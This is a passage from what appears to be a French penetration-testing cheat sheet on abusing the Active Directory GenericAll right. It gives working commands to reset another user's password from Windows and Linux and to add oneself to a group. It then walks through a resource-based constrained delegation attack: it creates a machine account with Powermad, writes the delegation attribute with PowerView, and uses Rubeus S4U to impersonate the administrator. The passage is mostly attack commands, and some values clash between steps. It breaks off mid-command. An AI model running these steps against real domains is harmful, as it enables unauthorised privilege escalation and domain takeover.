Le droit `GenericAll` permet un contrôle total sur l'objet cible. Il peut être appliqué à des utilisateurs, des groupes ou des machines. Voici comment exploiter ce droit dans différents contextes :
### 📝GenericAll sur un Utilisateur
Si un utilisateur a le droit `GenericAll` sur un autre utilisateur, il est possible de réinitialiser le mot de passe de l'utilisateur cible.
#### 🍔 Depuis Windows
Utilisez la commande suivante pour réinitialiser le mot de passe d'un utilisateur depuis un environnement Windows :
```powershell
net user $userCible $nouveauPassword /domain
```
#### 🐧 Depuis Linux
Depuis un environnement Linux, vous pouvez utiliser la commande suivante :
```bash
net rpc user password $userCible $nouveauPass -U domain.local/$noreUser -S $dc
```
> Mettre un mot de passe en adéquation avec la politique de mot de passe du domaine, sinon celui-ci ne sera pas attribué et rien ne nous l'indique.
---
### 📝 GenericAll sur un Groupe
Si un utilisateur a le droit `GenericAll` sur un groupe, il peut s'ajouter en tant que membre de ce groupe.
#### 🍔 Depuis Windows
Utilisez les commandes suivantes pour ajouter un utilisateur à un groupe depuis un environnement Windows :
```powershell
net group "$groupeCible" $userCible /add /domain #cmd
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powershell
Add-ADGroupMember -Identity "$groupeCible" -Members $userCible #powersploit
```
---
### 📝 GenericAll sur une Machine
Le droit `GenericAll` sur une machine permet d'abuser de la Resource-Based Constrained Delegation (RBCD).
#### 🍔 Depuis Windows
Pour exploiter ce droit, nous avons besoin des scripts `powermad.ps1` et `powerview`.
Création d'un compte machine :
```powershell
import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -Verbose
```
Vérification de la création du compte :
```powershell
Get-DomainComputer
```
Écriture de la propriété `msds-allowedtoactonbehalfofotheridentity` sur le compte machine cible :
```powershell
$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```
Récupération du hash du compte machine créé :
```
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
```powershell
rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible
```
#### 🐧 Depuis Linux
Création d'un compte machine :
```bash
impacket-addcomputer -computer-name 'COMPUTER